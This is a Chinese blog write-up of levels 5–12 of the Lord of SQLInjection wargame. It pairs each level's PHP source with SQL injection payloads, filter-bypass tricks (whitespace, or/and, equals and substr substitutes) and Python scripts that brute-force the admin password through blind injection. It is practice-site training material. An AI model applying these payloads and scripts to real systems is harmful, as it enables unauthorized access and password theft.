WriteUp6

SQL注入

Posted by Distiny on October 30, 2022

靶场:LORD OF SQLINJECTION

第五题 WOLFMAN

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

绕过空格的方法:

  • 替换字符:%09、%0A、%0D、%A0
  • 使用括号包裹语句,不出现空格

pw=1'or%0Aid='admin

pw=1'or(id='admin')--%09 用括号替换也可以

第六题 DARKELF

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

替换or和and

  • 符号替代:   和&&
  • 双写绕过
  • 中间加注释改成o/**/r,但是貌似会识别成o r,如果既过滤or,还过滤空格,这样写还挺好

pw='1' || id = 'admin

第七题 ORGE

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>
显然需要爆破密码,和之前的第四题一样,只需要把or改成   即可。
import requests

url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
headers = {'Host': 'los.rubiya.kr',
'Connection': 'close',
'Pagma': 'no-cache',
'Cache-Control': 'no-cache',
'sec-ch-ua-platform': "Windows",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
cookies={'PHPSESSID':'nc4ldg9qv2m60ddunromird6dk'}
# 确定密码长度
for length in range(4,20):
    params = {'pw':f"'||length(pw)={length}-- "}
    response = requests.get(url, cookies=cookies, params=params)
    if(response.text.find("Hello admin")!=-1):
        print(f"length: {length}")
        break
#依次确定每个字符
pw = ""
for n in range (1,length+1):
    for code in range(48,123):
        params = {'pw':f"'|| ascii(SUBSTR(pw,{n},1))={code}-- "}
        response = requests.get(url, cookies=cookies, params=params)
        # print(params)
        if(response.text.find("Hello admin")!=-1):
            pw+=chr(code)
            print(f"pw: {pw}")
            break

密码是7b751aec,不新鲜呀~

第八题 TROLL

大小写替换,因为preg_match大小写敏感,而sql不敏感

第九题 VAMPIRE

双写替换

第十题 SKELETON

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

pw=' or id = 'admin' --+把后面的部分注释掉即可

第十一题 GOLEM

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

继续密码爆破,但是这次过滤了or,and,等号和substr(

  • 等号替换:like
  • or和and:   和&&
  • substr(替换:substring(
import requests

url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
headers = {'Host': 'los.rubiya.kr',
'Connection': 'close',
'Pagma': 'no-cache',
'Cache-Control': 'no-cache',
'sec-ch-ua-platform': "Windows",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
cookies={'PHPSESSID':'nc4ldg9qv2m60ddunromird6dk'}
# 确定密码长度
for length in range(4,20):
    params = {'pw':f"'|| length(pw) like {length}-- "}
    response = requests.get(url, cookies=cookies, params=params)
    if(response.text.find("Hello admin")!=-1):
        print(f"length: {length}")
        break
#依次确定每个字符
pw = ""
for n in range (1,length+1):
    for code in range(48,123):
        params = {'pw':f"'|| ascii(SUBSTRING(pw,{n},1)) like {code}-- "}
        response = requests.get(url, cookies=cookies, params=params)
        print(params)
        if(response.text.find("Hello admin")!=-1):
            pw+=chr(code)
            print(f"pw: {pw}")
            break

密码是:77d6290b

第十二题 DARKNIGHT

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

继续是需要破解密码,这次还限制了不能使用substr、ascii和单引号。初步的想法如下:

  • substr可以用mid代替
  • ascii没得代替,想到可以改成mid(pw,{n},1) like char({code})
  • 避免出现单引号
import requests

url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
headers = {'Host': 'los.rubiya.kr',
'Connection': 'close',
'Pagma': 'no-cache',
'Cache-Control': 'no-cache',
'sec-ch-ua-platform': "Windows",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
cookies={'PHPSESSID':'nc4ldg9qv2m60ddunromird6dk'}
# 确定密码长度
for length in range(4,20):
    params = {'no':f"0 || length(pw) like {length}-- "}
    response = requests.get(url, cookies=cookies, params=params)
    if(response.text.find("Hello admin")!=-1):
        print(f"length: {length}")
        break
#依次确定每个字符
pw = ""
for n in range (1,length+1):
    for code in range(48,123):
        params = {'no':f"0 || mid(pw,{n},1) like char({code})-- "}
        response = requests.get(url, cookies=cookies, params=params)
        print(params)
        if(response.text.find("Hello admin")!=-1):
            pw+=chr(code)
            print(f"pw: {pw}")
            break

得到的结果为pw: 0B70EA1,是的,很遗憾,第八个字符没有识别出来

一开始不理解为什么,就在burpsuite上面试了下暴力破解/?no=0 || mid(pw,8,1) like char([48到123的数字]),验证了一下果然是不行,然后改成mid(pw,8)发现找到了是f或者F,这才恍然大悟,因为guest的pw的第八位也刚好是f,所以之前用mid(pw,8,1)找到的就是索引在前面的guest,而guest的pw不止8位,所以设为mid(pw,8)刚好能得到admin,还挺巧的!

另外,like和=不一样,后面可以跟正则表达式,所以可以发现设为char(95),每一个都有返回值,这是因为char(95)是下划线,表示通配符。而且like大小写不敏感!所以之前得到的pw全部是大写数字!

解决方法:

  • 首先,为了避免得到guest的结果,增加 id like 0x61646d696e 的判断条件
  • 大小写的问题没有想到很好的解决思路,只能换个方法
  • ORD可以用于替换ascii

最后得到密码为0b70ea1f